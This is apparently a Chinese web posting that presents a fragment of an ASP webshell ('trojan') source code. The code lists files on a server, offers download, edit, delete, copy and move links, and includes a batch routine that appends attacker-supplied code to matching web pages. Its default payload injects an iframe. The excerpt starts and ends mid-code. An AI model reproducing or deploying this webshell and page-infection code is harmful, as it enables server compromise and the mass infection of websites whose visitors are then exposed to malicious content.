一款不错的asp木马 黑色界面(38)

iy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|im
ages|web|blog|save|data|add|edit|game|about|manager|book|bt|config|mp3|
vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|i
p|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfil
e|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|
505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) 
If retVal Then 
step1 agr 
step2 agr 
Else 
Exit Sub 
End If 
End Sub 
Sub step1(str1)
RRS "<div style='line-height:20px'>√ "&str1&" _"
RRs "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""DownFile"")' class='am' title='下载'>下载</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""EditFile"")' class='am' title='编辑'>编辑</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""DelFile"")'onclick='return yesok()' class='am' title='删除'>删除
</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""CopyFile"")' class='am' title='复制'>复制</a> "
RRS "<a href='javascript:FullForm("""&replace(str1,"\","\\")
&""",""MoveFile"")' class='am' title='移动'>移动</a></div>"
End Sub 
Sub step2(str2) 
Set fs=Server.createObject("Scripting.FileSystemObject") 
isExist=fs.FileExists(str2) 
If isExist Then 
Set f=fs.GetFile(str2) 
Set f_addcode=f.OpenAsTextStream(8,-2) 
if left(right(str2,8),4)="conn" then
f_addcode.Write
else
f_addcode.Write addcode 
f_addcode.Close 
Set f=Nothing 
End If 
end if
Set fs=Nothing 
End Sub 
Err.Clear
  Case "Cplgm"
    Fpath=Request("fd")
    addcode = Request("code")
    addcode2 = Request("code2")
    pcfile=request("pcfile")
    checkbox=request("checkbox")
    ShowMsg=request("ShowMsg")
    FType=request("FType")
    M=request("M")
    if Ftype="" then 
Ftype="txt|htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx"
    if Fpath="\" then Fpath=Server.MapPath("\")
    if Fpath="." or Fpath="" then Fpath=Server.MapPath("/")    
    if addcode="" then addcode="<iframe src=http://127.0.0.1/m.htm